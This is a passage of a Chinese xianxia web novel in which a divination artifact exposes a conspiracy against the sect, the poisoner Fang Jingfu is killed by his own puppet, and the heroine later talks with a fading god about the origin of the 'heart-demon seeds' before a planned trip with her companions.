“所以?”关云铮将剑收入剑鞘,“单凭相貌就能证明是我?那我看你相貌凶恶,难不成你就是邪修?” “陛下,休听她狡辩!即便她体内并无心魔引,也绝非善类,臣怀疑她是夺舍他人才有的这副躯体,躯体真正的主人怕是已被她残忍杀害了!”眼见赵乾达落了下风,严骛又跳出来说道。 关云铮眯了眯眼,心头的杀意不仅没随着幻境的崩塌而消散,反而在此二人一言一语中逐渐浓烈起来。 夺舍?杀害? “我实在是被这位大人说糊涂了,您跟我的同窗究竟是不是一伙的,怎么各说各的,毫不相干呢?”关云铮问道,“他说我体内有心魔引,你说我是夺舍,你们要不商量一个统一说辞,再给我定罪吧?” 这话实在嚣张,然而苍韫桢心有心偏袒,听完后连眉毛也没动一下,只看向严骛说道:“严卿,那举证弟子究竟与你有没有干系?” 严骛立刻拜倒:“并无干系!” 关云铮看热闹不嫌事大,随口说道:“原来并无干系的两个人之间也会频繁互通信件?” “原来是——!”赵乾达一时激愤,脱口而出时已觉不妥,却已来不及收回。 只见关云铮收起脸上那点戏谑,平静说道:“赵乾达过往如何挑衅我与同伴,许多在归墟接受教习的同窗都有目共睹。既然栽赃之人都敢闹到御前,那我也请陛下还我一个公道,不知我与同伴究竟做错了什么,要被他这样纠缠不休?” 苍韫桢扫视一圈众人脸色,正要开口,忽觉背后有人靠近,闻到熟悉的淡香后,知道是迟来一步的柳卿知,心念电转间改了主意:“既然各有各的委屈与困惑,不如就用你们仙门的法子来解决此事。” 她说着看向身后,柳卿知会意,从随身暗袋中拿出洞玄。 “此法器名唤洞玄,是你们仙门中人所做,可昭示未来,点明正道。”她将洞玄握在掌心,“既然仙盟和归墟弟子各执一词,不如就让第三个人出来,运行这法器。” 她话音刚落,人群中忽然走出一人,粗布短衣,腰间挂着一个样式朴素的香包。 ——正是前几日便来到了归墟的奚楼。 昆仑派归隐多年,在场的别说仙盟人,有许多仙门人都不认得她,还是苍韫桢出面,介绍了一番她的身份:“奚楼,如今昆仑一派的掌事,昆仑避世已久,从不搅扰这些纷争,让她来做个见证,想必不算有失公允。诸位说呢?” 昆仑避世,与诸多门派皆无联系,苍韫桢又开了口,自然无人有意见。 “陛下。”奚楼朝苍韫桢行了个礼,又转向洞玄,以灵气催动,令其缓缓悬浮起来,又逐渐变大,让在场众人都能看清昭示出的画面。 奚楼声音平静地向洞玄发问:“归墟苍生道弟子关云铮,体内可有心魔引?” 洞玄应声而动,十八面骰在空中缓慢转动几息,停了下来。骰子上方如水镜般浮现出一个画面,正是站着的关云铮。又几息之后,画面中关云铮的身上逐渐浮现出一个金色的大字:“无。” 奚楼又问道:“关云铮如今体内魂魄,可曾夺舍原主?” 十八面骰再度转动,停下时,“关云铮”的身上又浮起几个金色的字:“不曾夺舍。” 奚楼尽职尽责,问完关云铮身上的两个疑点,又转而询问道:“弟子赵乾达在归墟接受教习期间,可曾多次挑衅关云铮及其同伴?” 这次洞玄旋转的时间久了些,停下时,上方的画面如水般退去色彩,而后画面忽地一变,成了过往所有赵乾达挑衅生事的景象回放。 这一次,洞玄没有浮现出任何字迹。 奚楼等待着众人观赏完所有景象,才问出了最后一个问题:“弟子赵乾达可曾与仙盟严骛私下往来?” 十八面骰慢悠悠地转了一圈,其上的画面第三次变幻,刹那之间,整个画面被密密麻麻的字迹填满,赫然是两人往来信件中的所有文字,墨色淋漓,恶意昭昭。 人群死一般的寂静—— 作者有话说:一写起吵架就发狠了忘情了不知天地为何物了,我就这样热爱吵架(目移吹口哨) 第175章 人群先是鸦雀无声, 片刻过后,如热油遇水,爆发出巨大的喧哗声。 此地光是参试者就有上百人, 除此之外还有陪同到来的门派中人, 人们各自扎堆,语气各异地讨论着方才所见。 讨论的声音太响, 以至于后山传来动静时, 一时没有人在意。 几乎站在人群正中的关云铮却若有所感,迟疑着往后山看了一眼:那是……剑冢的方向? 就在她抬眼看向那边的瞬间,一把从未见过的剑无视了护山大阵的阻碍,带着凌冽的杀气朝人群疾驰而来! 关云铮被吓了一跳,电光火石间陡然意识到这是谁的剑,立刻将目光投向了一直站在原地的章存舒。 人群最外围, 一个样貌平平的中年男子正扶着一位受伤的仙门弟子往芥子院走,听见长剑破风而来的动静立刻一翻手腕, 扼住了那弟子的咽喉,而后猛地转身, 用弟子做遮挡, 堪堪止住了那把奔他而来的剑。 一直站在原地的章存舒终于动了,眨眼间便缩地成寸到了此人面前,收回了自己的剑, 也道破了此人身份:“方竞甫。” 他话音很轻, 奈何众人发现有剑穿过护山大阵时便往这边汇聚而来,修道之人耳力不凡,不少人都听见了这一声,包括关云铮四人。 方竞甫被道破身份,用术法伪装的面目逐渐变幻回他本人的模样, 与先前迷津渡幻境中的一般无二。 被当做人质挟持的弟子很面生,未曾在归墟接受教习,想必方竞甫先前一直扮作与他相熟的门派中人,才会令他这般不设防。 但修道之人怎会轻易受他人掣肘?那弟子被扼住咽喉要害,登时便要挣扎反抗,毕竟术法总施于幽微处,他未必不能自行解决此事。 只是还没等他翻转手腕,忽而感到后颈一阵刺痛,借他作为遮掩的人在他耳边满怀恶意地开口:“这位小友,我劝你不要妄动,术法再快,恐怕也快不过这根银针啊。” 关云铮眯起眼,想起自己也曾在人蛊的记忆中看过他使用银针的画面。那银针极细,最初刺入皮肤时甚至感觉不到痛感,非得刺入一寸以上,才能被中招之人察觉。 而那银针之上往往带着他亲手炼制的剧毒,只要他松开手,那被封存在银针顶端的毒便会顺着针而下,送入他人的体内。 人蛊幼时吃毒物,稍长大些落入方竞甫之手,便一直在被毒针要挟,想必体内至少有半数的毒都来自这针。 观那弟子神情,恐怕针已送入一寸以上了,确实不可妄动。 章存舒收起剑:“你设计暗害昆仑派前掌事,而今又混入参试者之中参与大比,甚至伙同仙盟中人对幻境动手脚,方竞甫,你还有何图谋?” 方竞甫捏着那银针放声大笑:“你早知我要混入大比,竟还放我进去,害得你这徒弟也受了重伤,章存舒,我才要问你,你又有何图谋?” 他倒打一耙的速度快得令人瞠目,不待章存舒回答便又说道:“这剑是叫……萍踪吧?好些年没见你用了,怎么,原来不是剑意已死,封存入剑冢了?你已经能坦然走出师妹之死了?好气魄啊。” 仙盟虽拿方竞甫没法子,却断然不肯背黑锅,凑上来抓住章存舒话里的字眼不放:“敢问章先生此言何意?此人姓甚名谁我等都是今日才听闻,又何来与他伙同一说?” 仙盟这拿腔捏调的说话方式听着就让人无端冒火,先前半个屁股还没擦干净呢,就上赶着来给另外半个屁股洗白了。关云铮提着刀横过去一眼,眼里几乎带了杀气。 柳卿知拨开人群,走在前面为苍韫桢开路:“方才洞玄昭示的结果还没有说法,既然诸位各执一词,不如将剩下的事也昭示个清楚明白,如何?” 苍韫桢伸手接住落下的十八面骰,对危机的形势置若罔闻般,淡然开了口:“仙盟何人与方竞甫勾结?” 洞玄像个全知全能的长者,没有在意这群晚辈的诸多叨扰,好脾气地再度转动一番,揭露了画面。 看清了画面,关云铮冷笑一声:“可真够多的。” 只见仙盟到场之人几乎全部在画面中,除了那个至今不知叫什么名字的“姓严的”。 苍韫桢接着问道:“他们有何图谋?” 还没等洞玄昭示出画面,一旁的关云铮忽而说道:“陛下,不如我来说吧。” 苍韫桢不置可否地向她一伸手,顺势拢住了洞玄。 关云铮注视着方竞甫躲在弟子身后,堪堪露出来的那一截手腕:“方竞甫作为迷津渡最后一任掌事,制毒炼蛊,迈入邪魔外道,致使迷津渡在一年前被众仙门合力剿灭,他却不知用了什么法子出逃。 “出逃后,他与现存最大的邪修门派鬼灯楼合作,得到了几颗心魔引,便有了盘算,要用这几颗心魔引将仙门搅个天翻地覆。 “可他已非仙门中人,要想混入其中有些难度,于是他转而寻求仙盟的协助。仙盟名存实亡,并无实权,其中有许多人一直盼望着仙门衰颓,他们就能独揽仙家法术与大权,是以双方一拍即合,敲定了腐蚀仙门的计划。 “昆仑与世隔绝,遭逢变故不便立即向外求援,成了方竞甫第一个目标。奚亭掌事被下了心魔引,练功时走火入魔,爆体而亡。方竞甫得手后逃离昆仑,辗转之后来到镜溪附近,又等候仙盟到来时混入归墟。” 关云铮说到这忽而一笑:“奚楼前辈现身时不见他逃窜,足见此人着实恶劣,并且仍有诸多脱身的法子,并不畏惧在场众人。” 她几乎有些恶意地想着:你的倚仗是什么?不堪一击的心魔引吗?还是你引以为傲的傀儡术? 听她提起奚楼,方竞甫的嘴角勾了起来:“真可惜,她姐姐爆体而亡时的模样,她没能亲见。” 他的目光往人群之后轻飘飘地瞥去,因为知道那个人就在人群之后,嘴角的笑意又扩大了好几倍。 只是瞬息之后,他的笑意便凝固在了脸上。 方竞甫呆滞地低下头,看着那只当胸穿过的手,后知后觉般抬起头,脸上飞快掠过一丝阴狠之色。他正要撤去自己施加银针的手,将毒注入弟子体内,却见关云铮已在他抬头的瞬间用御物术将那针拔了出来,而后一把拽过那弟子搡到身后,手中横刀当即削到他颈侧! 胸口那手锋利无比,见他还能动弹,又毫无感情地在胸腔中搅了一把,逼得他当即脱力跪下。 他个子不算高,但也足够遮挡住身后的人了。 不对,准确地说那不是人,而是人蛊。 说来奇怪,修行之人的金丹往往在丹田处,但那人蛊将手抽出时,指间除了挂着些血肉之外,竟还有一颗金灿灿的珠状物——赫然是方竞甫的金丹。 再烂的心肠,凝练出的这颗东西都是金的,足见金也没多么可贵,不过是人心见它璀璨不凡,赋予了太多附加价值。 金丹离体,修士必会身毁人亡,方竞甫毫无防备地承此一击,顿时只剩进的气,没有出的气了。 关云铮看了眼他迅速发黑的胸口,大发慈悲般解释道:“奚亭若是真的死了,奚楼作为新一任掌事,怎么可能离开昆仑?人蛊一年前便不知所踪,偏她离了你还能活,体内没有特殊之物在发挥作用,谁信?迷津渡围剿时你几乎只剩半条命,却活蹦乱跳地活到如今,没有借助旁的手段,又怎么可能?” 她好像从他那双迅速黯淡下去的眼睛里读出了什么,直起身来说道:“你用人蛊的躯体为自己温养心魔引,却没想到先前的所作所为招来了众仙门的围剿,人蛊丢了,你的心魔引没了,于是你只好去找鬼灯楼,问他们又要了一颗……放进了你自己的身体里。 “可你大概不知道,心魔引之间可以互相感应到彼此所在,自你将心魔引置入体内后,你所打造的人蛊便一直在追杀你。因为你将她炼成了食人血肉的人蛊,又让她吃了第一任主人,她以为你也可以吃,一直很想尝尝你究竟是什么味道的呢。” 注意到方竞甫眼里一闪而过的不甘,关云铮又善解人意地补充道:“为什么你没有发现她在追杀?当然是因为奚楼前辈先你一步发现了她的踪迹,一直将她困守在随身芥子之中了。所以方才一被放出来,她就闻到了你的味道,迫不及待地过来……了结了你的性命。” 关云铮说完这一大串话后,大约是回忆了一番有无缺漏,带着几分满意地点了点头,又先后看向一旁的苍韫桢和章存舒:“陛下,师父,我所读出记忆俱已陈述完毕。” “至于如何读得记忆……”她抬手示意身后众人看向她手中轮盘,“此为天问派掌门打造,与溯洄同源法器,将隐,可回溯人的记忆,我便是借此物读出了方竞甫这一年来所有的行事过程。” 这话是假的。 其实早在先前将神识沉入识海,用将隐翻阅她的过往记忆时,她便发现了一段模糊不清的记忆,从时间上估算,大约是她上次与心魔引同归于尽之前的事。 那时她心神巨震,躯体也正遭受着痛苦,神智不太清明。可记忆的保存是一视同仁的,不会随着她意志的清醒与混沌而改变清晰度,以往她没有将隐时,这些记忆只会被埋藏在最深处,等待着重见天日的一天。 而今有了将隐,她只需翻阅一番,便能清楚地看到那段记忆。 ——曾在她体内的那颗心魔引曾在极度的自傲中向她袒露过,心魔引之间可以互相感应到彼此所在。 而先前她与三位同伴分析奚楼随身芥子时,又得出过“里面很可能不是活物”的结论。 方才在幻境中,谭一筠也说“尸傀是傀儡术的产物”,而尸傀的诸多特性又表现得与人蛊极为相似,故而听从主人指令的人蛊也有极大的可能是傀儡术的产物。 那么多尸傀,小悯的感应却不曾示警,说明此类存在不在感应之列,也就大概率并非活物,那么与之想象的人蛊,大概也并非活物——毕竟她确实“活人味”寡淡。 如此种种彼此叠加,关云铮实在想不出来,奚楼那状似香包的随身芥子里,除了装着那个人蛊之外,还有什么别的可能。 至于奚楼究竟为什么,要在动身前往归墟之前去见陛下……她没打算窥探这两人的记忆,但大概能猜出一些:人蛊下落不明后很可能落在了苍韫桢手里。当今陛下手眼通天,权术法术全都玩得飞起,把一个人蛊捏在手心不是什么难事。 所以她方才那句“人蛊一直在追杀你”也是假的,只是觉得方竞甫这种自命不凡的恶人,在临死之际听闻是自己一手养大的“东西”害死了自己,一定会……死不瞑目。 谁让他像个会回到案发现场欣赏作案手法的变态杀人狂一样?谁让他出口便是刺痛章存舒和奚楼的话? 他自找的。 除此之外,她也根本不曾窥探方竞甫的记忆,将隐也只是她的托辞,她完全懒得看方竞甫脑子里那些污糟的记忆,此刻她除了身体上多处抱恙,堪称神清气爽,不想自找恶心。 好在先前拜托“祂”帮自己修好了碎裂的将隐,此刻还能拿出来像模像样地唬人。 苍韫桢颔首:“说得够明白了,只是这人蛊……” 关云铮调转视线一看,只见方竞甫早就不知何时断了气,被等候他死亡的人蛊拖到了一边,拽出了……额这个还是别看了。 她没大没小地摆了摆手:“反正我的推论和证词都说得差不多了,应该没我什么事了。”说完这话,她又耍无赖似的对着苍韫桢一笑,“陛下,我浑身灵脉都快断光了,撑这一会儿已是十分不易,还望您不计较我御前失仪,我要晕了。” 她言出必行,说晕就晕,话音刚落,就倒在了大呼小叫着围上来的师门众人手中。 苍韫桢失笑,又看向一旁站着的章存舒:“快别生气了,你徒弟都不敢跟你说话,自顾自就晕了。” 章存舒面色铁青地将萍踪收回剑鞘,也撂了挑子:“剩下的事就劳烦陛下安排,我得回去搭救我那性命垂危的徒弟了。” 他说完就走,还没忘了薅走一直在一旁焦急候着的凌风起。 连映抱着师妹走了,关云铮的三位同伴顾不上与自己的家人师父说话,便心急地跟上,闻越和江却走在第三队列,章存舒和凌风起走在最后,偌大苍生道,只剩个章存舒的师弟在苦苦支撑。 步雁山当了一上午的背景,此时对上苍韫桢的视线,露出一个惨淡的笑。 这烂摊子谁爱收拾谁收拾吧,他也有点不想活了—— 作者有话说:把想了好几天的剧情一口气写出来真的好爽[墨镜]《 》 【全文完】 第176章 大概是灵脉断过一次, 这副躯体对此熟门熟路的缘故,这次受伤后关云铮苏醒得很快,而且几个时辰后就能下榻慢悠悠地走上几步了。 可惜她想走路的心迫切, 师门众人和同伴们阻拦的行为也很严厉, 没有丝毫放水,她的活动范围最多到院内石桌, 连秋千都不让坐。仿佛她是个脆弱的鸡蛋, 坐上去晃两晃就要散黄了。 好在吃食上没有变化,没有忌口,还可以喝奶茶。关云铮坐在桌边这样想着,默默嚼着奶茶里的珍珠。 谁料还没等她将嘴里的珍珠咽下去,章存舒就在一旁冷声道:“李厨心疼你受伤给你煮的,在你伤好之前, 这是最后一杯。” 关云铮:“???” 她赶紧把珍珠咽了:“师父!” 章存舒把一碟点心放到她面前:“你凌师伯说,吃太多甜食不利于伤口恢复。” 关云铮冤得都快六月飞雪了:“我哪有伤口啊!”不都是内伤吗! 可能是章存舒的表情太过严肃, 关云铮脱口而出这话后陡然心虚,收敛了自己的不满, 默默低头品尝自己伤好之前最后一杯奶茶。 一边的凌风起被章存舒当挡箭牌也没什么意见, 见关云铮终于没话说了,才开口说道:“虽然我治得好你的伤,你的身体也承受得住这一次的灵脉损伤, 年轻恢复得也快, 但有多痛只有你自己知道,别总是拿着自己的命和别人的真心去喂狗,你欠吗?” 关云铮无力反驳,默默把头又埋低了一些。 章存舒见她这样也不忍再多说,没好气地揉了一把她的头发:“大比的一应事务还没处理完, 我跟师兄先去帮忙,你老实待着。” 关云铮立刻点头如捣蒜,目送两人走了。 只不过走了最会用言语骂人的,院内还有几个用眼神诉说埋怨之情的。关云铮目送着章存舒和凌风起走远,收回视线的瞬间,目光和闻越看过来的视线撞了个正着,顿时被那双眼里的伤心、愤怒、埋怨给震慑了。 心念电转间,关云铮光速滑跪,虔诚道:“我错了。” 闻越嘴上恨恨,动作却很出人意料:他把自己那杯奶茶推给了关云铮。 “师父骗你的,凌师伯没说过那话,不过算上这杯,这也是你伤好之前最后的奶茶了,因为李厨有事要离开归墟一阵子,我们又不可能让你下厨,所以没得喝了。”闻越嘟哝似的说道。 关云铮正愁没话题缓解当下紧绷的气氛,立马打蛇随棍上似的问道:“李厨?他的私事?” 连映笑着看她一眼,没揭穿她岔开话题的行为,为她解释道:“算不上私事,李厨其实是迷津渡人,只是出来得早,去年众仙门围剿迷津渡后,便没了归处。如今方竞甫死了,人蛊也被管束起来,他想回去看看。” 李厨竟然是迷津渡人? 关云铮一时之间不知道该从哪里开始惊讶好:“人蛊被管束又是指什么?” “她吃了现任主人血肉,契约已毁,不再具备那样强的攻击性。但她食人血肉的本能尚在,故而被管束起来,留待日后裁决。”江却说道,“陛下正亲自料理此事,想必不会让仙门中其余居心叵测之辈,利用人蛊做出其他不可挽回的事。” 闻越趴在石桌上:“灵兽派所在的鹧鸪山如何?鲜有人至,山间也大多是人蛊不吃的灵兽,它们大概能够井水不犯河水地一同生活下去。” “那若是人来了呢?山中可是有好些偷猎者。 ”关云铮追问。 “都说是偷猎了,死了不也活该?”闻越想起幻境中那帮人,“还不知道几年前那几头被偷走的灵兽最后是什么下场呢,师父也没说。” 关云铮的态度倒是很乐观:“没准都活得好好的呢,师父虽然常常故弄玄虚,但又不会说谎话。” 方竞甫作为恶人没能得到应有的惩罚,章存舒在她出了幻境后便将此事告知;江县的灾民仍处于危难困境之中,他也不曾隐瞒。 他的谜语只是真话的包装,但他没说过假话,既然没提灵兽是死是活,大概率灵兽就还活得好好的,只不过……活下来的方式不便多说。 闻越觉得她此言有理,垫在胳膊上的下巴蹭了蹭:“不过……师父怎么会忽然召回他的剑呢?” 他入门以来从未见过师父佩剑,还以为他并非剑修,后来虽也在掌门的告知下知道了真相,但也没想到师父怎么就会在前几日那样的场合召回萍踪。 方竞甫是个连“人之将死其言也善”都做不到的烂人,临死前说的话中,有一句却很是有理。师父的剑一直在剑冢之中,一定是因为他失了剑意,剑意已死,剑便也成了某种意义上的无主之剑,时间长了,是会自动归入剑冢的。 他前几日忽然召回萍踪,难道是找回了失去的剑意? 那他如今的剑意又是什么? 关云铮放下勺子:“大概是我太能闯祸了,师父觉得不拿剑收拾不了我吧?” 闻越一愣,随即哈哈大笑起来:“怎么可能。” 关云铮勾了勾嘴角,不再就这个话题多说。 毕竟师父这个谜语人究竟在想什么,谁又会知道呢。 **** 暂别了师门众人,同伴们又接踵而至,在她桌边坐下。听闻她被章先生克扣了伙食,还悄悄下山给她带了几样好些日子没吃到的零嘴点心回来。 关云铮被各类甜咸零食喂了个半饱,差点发起饭晕,勉力支撑着清醒,听三人说话。 “这几日我们旁观了陛下和掌门一同处理大比的后续事宜,怕你对消息感兴趣,先回来和你说一说。”谭一筠说道。 他说完这句便灌了自己一大杯凉水,活像几天没喝水似的。 关云铮默然:“要不你还是先不说了,我怕你说一半渴死了。” 谭一筠闻言,被水呛得惊天动地般咳嗽起来。 楚悯失笑,索性接过话茬:“陛下决定给人蛊一次机会,将她放入鹧鸪山中。” “真的?”关云铮精神了,“方才我还在同师兄师姐说这事,不过我们都觉得不太可能实现,竟然真的能成?” 叶泯给灵犀喂了点水:“是奚楼前辈向陛下提出来的,她还说她会负责人蛊的教化。” 这下呛水的变成关云铮了,她赶紧把茶盏拿开:“教化?奚楼前辈要教化人蛊?” 她连着重复了两遍这个词,叶泯脸上的表情都没发生变化,这才确定他没在开玩笑,奚楼前辈确实是这么说的,也将要这么做了。 她不知道奚楼前辈是否知道人蛊成为“人蛊”的经历,但她是切实看过那部分记忆的——纵然被方竞甫更改了一部分。那些非人能承受的折磨、并非对待一个活人该有的方式,几乎都能让人无比坚信:她没有回到正常生活的一天了。 要怎样教化才能让她回归“正常”? 关云铮叹了口气,转着手里的茶盏:“那奚亭前辈呢?” 闻言,楚悯脸上竟然流露出一丝难以置信,她沉默了几息才说:“奚楼前辈提出要教化人蛊,正是因为人蛊救了奚亭前辈。” “什……怎么救下的?”关云铮匪夷所思。 难道方竞甫是先与鬼灯楼联系,要来了两颗心魔引,先给自己种下后,才去昆仑暗害的奚亭前辈? 看出她神情有些不对劲,谭一筠后知后觉:“你不是说……那是你诓他的?实际上根本不曾回溯他的记忆?” 他话说得没头没尾,但在座的剩下三人都听明白了,叶泯甚至对谭一筠发出了不太明显的嘲讽:“云铮怎么可能去查看方竞甫的记忆,看完还吃得下饭吗。” 谭一筠被他梗了一下,没忍住用桌下的脚踹了一脚他的小腿:“怎么越来越牙尖嘴利了。” 叶泯装模作样地“嘶”一声:“你觉得我牙尖嘴利,是因为你被我说的话刺痛了,而非我真的牙尖嘴利。” 关云铮和楚悯默默喝水,默契地用空着的手给他比了个大拇指。 “奚楼前辈虽未多言,但大抵会在鹧鸪山中待上好一阵子,我猜奚亭前辈应当也会在。”谭一筠不同叶泯计较,继续说道,“昆仑派经此一难,元气大伤,大概会解除与外界隔绝的状态,接受众仙门的帮助。” “那仙盟呢?”关云铮追问,“那群成事不足败事有余的,他们什么下场?” 叶泯摸了摸灵犀的脑袋,把手腕给她绕着玩:“陛下决定裁撤仙盟,但保留那姓严的职位,在朝中有实权,需定期汇报各仙门重大事宜,直接与仙门和陛下对接。” “听着好像还升官了……几品?”关云铮问道。 谭一筠摇了摇头:“我对朝廷官差品阶一无所知,只知道这姓严的做人还算过得去,不至于像另一位姓严的一样,喜欢背地里捅刀子。” 哦,有两个姓严的。 关云铮仿佛才想起来似的:“严骛呢?陛下对他什么安排?” “他与方竞甫沆瀣一气,又转而挑唆赵乾达,虽然祸端并非真的因他而起,但也难逃罪责。”谭一筠说道。 关云铮撑着脑袋:“嗯,说点人能听懂的。” 谭一筠被她话里嫌弃的意味气笑了,干脆换了直白的表述:“他要倒大霉了,陛下让柳相着手,从此次事件回溯,将严骛进入仙盟之后所有的过往行事都查出来,一件件地称量。” “但严骛此前多是有小奸无大恶,所以还需要点时间仔细衡量。”楚悯如实说道,“最惹人恨的大抵便是这一类人吧,分明做的每件事都令人不适,但由于没人因此受到直接的伤害,给他的惩处往往也不会太严厉。” 关云铮的态度倒是很乐观:“陛下和柳相一起查,不大可能不严厉,实在不行,我就去用将隐拷打一番他的记忆,给他雪中送点霜。” 四人互相对视一眼,不约而同地笑起来。 “不过云崽,你先前在幻境中同我们说的那些……”糟心的人和事讨论完了,楚悯又想起还有这件事,看向关云铮问道。 关云铮也想起还有这么件事,干脆当着三人的面“呼唤”道:“在不在?出来说话。” 三人静静等待了片刻,忽见关云铮神色变化,便知“那位”回应了关云铮的呼唤。 “你当我是语音智能助手吗?喊一声就出来了。”祂没好气地说道。 “你是很有气节的智能语音助手,行了吧?”关云铮先在脑海里回了这么一句,而后接着“问”道,“我的同伴们都在旁边,你要不……出来说话?” “你可以开口说话,但我的声音只能被你听见。”祂说。 关云铮不解,但还是先顺着他的话开口道:“为什么?”她转念一想,似乎有些明白了,“因为我识海中有将隐?” 祂笑了笑:“不全是,是因为此间事已了,我很快便会回归天地,此时行将就木,力量有限。” 顾不上回应同伴们疑惑的神情,关云铮急道:“没有办法了?” 祂奇道:“我好歹是个神,连我都没有办法,你还打算替我想办法?”说完这话后他兀自笑了一会儿,又说,“不过在力量彻底消散之前,我还可以允你几个心愿。” 关云铮叹了口气:“你就不怕我狮子大开口,许好几个心愿?” 祂哈哈大笑:“你能有什么心愿?还都不是为自己许的,尽管说吧。” 见祂如此豁达,关云铮叹了口气,不再纠结,问出了自己的第一个问题:“心魔引究竟是什么?” 祂对这一问早有所料,平静答道:“你应当还记得七十年前那位飞升的修士。” 关云铮“嗯”了声。 祂的声音忽而变得有些远,仿佛在追忆似的:“她,哦对,你应当比较关心这个,她是个女人,心魔引是她陨落后的……”祂似乎想找一个更合适的说辞,但最终还是没有改口,“心魔引是她陨落后的尸骸残片。” 关云铮惊愕地睁大了眼睛,手上不由得用力捏住茶盏,被楚悯安抚地拍了拍手臂,才回过神来。 “她也是那叫做摇羽的剑灵……” 关云铮下意识接上祂的话:“的第一任主人?” “摇羽没同你说起过她是个女人吧?”祂默认了关云铮的话,忽而又问道。 “没有……”关云铮默默往自己的房门看了眼,不知道那个脾气很大的剑灵是不是又在腹诽她。 “这倒不奇怪,剑灵本身就是非男非女的灵体,在它们眼中,人类的男女没什么分别,不刻意向你提及也很正常。”祂平淡说道,“只不过大多数人都习惯了把更强大些的形象默认为男人了,你有时候也会这样吧?” 第不知多少次被祂揭穿,关云铮却难得没有着恼,反而平静地承认:“是啊,在这一类事上,我总会为自己下意识的想法而感到惭愧。” “会感到惭愧不是已经很了不起了吗?”祂笑起来,“摇羽的主人飞升成神的时间比我要稍晚些,原本她才是这世间最后一位神,可惜天道抹除她的人格时,遭到了她的反抗。” “我姑且还有些残存的人格,但也是早年我受了些许人类供奉,在香案前看了些人间喜悲的缘故,这些都是我成神后再度习来的,原本的那些人格也早就被天道抹灭了。” “她不愿意,反抗了,然后呢?”关云铮问道。 其实根本没有问的必要。 心魔引作为她的尸骸碎片散落各处,她还能是怎样的下场呢。 “我如今活着,大概也只剩下为她收敛尸骸这一个用处了。好在多数心魔引都被毁了,至于剩下的,那个叫奚楼的估计也有法子逐一毁掉,我就不再耗费这个心神了。”祂说,意识到关云铮还有话问,又“善解人意”地说道,“你想问自己到底是怎么来到此世的?” “……对。”关云铮对自己的心思总被窥探这件事已经释怀了,祂都快死了就让让祂吧。 “你在此世睁开眼的时间太晚,其实原身死后你的灵魂就来到了此世,所以是我将你放进了归墟,没办法,归墟算是我当时能找到最近最安全的地方了。况且原身的残魂中记忆也有缺失,此事最初应当是我追踪心魔引到了镜溪附近,正好碰见几个鬼灯楼弟子准备给原身引魂。她魂魄消散时我就在附近,原本打算救她一回,谁料却听见她的魂魄‘说’……” “说什么?”关云铮急道。 “她‘说’,‘这世上有没有另一个我’,”祂回忆着原身那时所“说”,“‘如果有的话,能不能救我于水火’。” 关云铮愣住,被“救我于水火”几个字震到久久难言。 “所以我把你带到了她的面前,你救她,也救了你自己。”祂说。 关云铮脑海里飞快滑过一个念头:但她还是死了。 祂自然捕捉到了这个念头,耐心提醒:“但她的残魂在你身侧待了好些日子。” 她相信我……关云铮不可置信地想着,她真的觉得我救了她……可是为什么? 祂却没有再解释这个问题,而是继续说道:“我的那位……同僚,我知道她时,她已被抹除了在人间行走时的姓名,只是因为不愿被抹除人格,所以被天道抹灭了,姑且就这么称呼她吧。她执意留下自己的人格,哪怕做人时她历经坎坷、受尽冷待,也不想抹除这部分。她的这种……执念?当然是指好的执念,让她的尸身中凝出了心魔引,如同高僧圆寂时的舍利子一般散落人间。” “所以心魔引其实并无好恶?”关云铮问道。 祂似乎从某个高处低头往她看了一眼似的:“当然有,谁家好人把舍利子往自己身体里放?” 关云铮:……还是忍让早了。 “心魔引入人体,产生的影响大概就像现代所说的排异反应,会爆体而亡只是时间问题,并不存在‘顺它者昌逆它者亡’这种说法,只是那帮邪修不懂装懂罢了。”祂说到这叹了口气,“这群人啊,拿着人家的尸骸惹出这好些是非,我回归天地后见了她得多丢脸?” 关云铮无情拆穿:“他们又没供奉你,就算丢脸,丢的也不是你的脸。” 祂哈哈大笑起来:“但他们依旧受我的庇护,算作我的子民,那这些是非,就都是我的责任。” 关云铮无力反驳,干脆默然以对。 “没有要说的了?没有的话我差不多也该和你道别了。”祂说。 关云铮立刻改为在脑海中发声,喊住了祂:“等等。” 大概是祂表现得太好说话,关云铮忍不住得寸进尺:“我……确有一心愿。” 祂毫不意外地应了声:“我知道,我会为你实现的。” 这心愿实在太重要,哪怕知道祂能读到自己的想法,关云铮还是忍不住追问:“真的?” “真的。”祂说,“我会为你身边的人消除代价,曾经的、当下的、未来的。” “那……戚师叔呢?” “如今的归墟不需要不熄鼎了,她离开不熄鼎也能轮回,但此事我无法做主,因为当年将神魂投入不熄鼎是她自愿的,或许她并不想离开。” 关云铮没再纠缠:“好,我知道了。”即使至今仍未见到祂的实体,但她还是真诚“说”道,“谢谢你。” “这是我应做的,”祂笑叹一声,“也谢谢你,有缘再见。” 祂郑重道别,甚至在关云铮识海中卷起了几朵浪花,瞬息之后,浪花平息,祂的痕迹彻底消散了。 楚悯三人一直配合地沉默着,见她视线终于看过来也没急着发声,反而仔细端详了一番她的脸色。 关云铮也笑叹一声:“我慢慢说给你们听吧。” **** 苍韫桢一行准备回朝安时,归墟是个难得的雨天——根本原因是负责护山大阵运行的章某人偷了一天的懒,没打算阻拦外界的雨落入归墟。 沈时安和陆识微一直在山下农庄住着,今日干脆没上山,在镜溪城外等待苍韫桢和柳卿知。 关云铮走在苍韫桢身侧:“陛下,您使用洞玄的这几年,可曾担心过自己过分依赖它,失了自己的判断?” 苍韫桢不答反问:“这个问题你不应该比我更有心得?你才用了将隐多久,不就已经摆脱对它的依赖,转而相信自己的判断了?” 她说完这话,还朝关云铮眨了眨眼。 关云铮打了个哈哈:“心照不宣,心照不宣。” 苍韫桢对她笑了笑:“听说你们过段时日要出去玩了?” 不说这事还好,一说这事关云铮就怪心虚的,从苍韫桢身侧探出个脑袋,看向不远处的章存舒:“师父,过段时日我应该能一起出去玩吧?” 章存舒看她一眼:“不然让你一个人待在归墟?” 关云铮一愣:“这么多人都要出去玩?” 闻越在她身侧给她掰指头数数:“我们师门,你的三位同伴,师父的师门,任师姐,都去。” “任师姐也去?”这下关云铮是真的感到震惊了。 “你这次伤养好后,就正式迈入金丹境了,进步这么快,也就只有任师姐和你有共同话题了。”闻越笑嘻嘻地说,“你不是喜欢找任师姐练刀吗?” 关云铮最近伤势恢复得不错,调动灵气时已经不大能感觉到滞涩感了,倒确实……有点想跟任师姐打一架,不是,练一场。 她怀疑自己穿越这段时间懒癌都被治好了,同时还多了点新毛病,有受||虐倾向似的。 “师父,到时我们沿什么路线走?”关云铮再度看向章存舒。 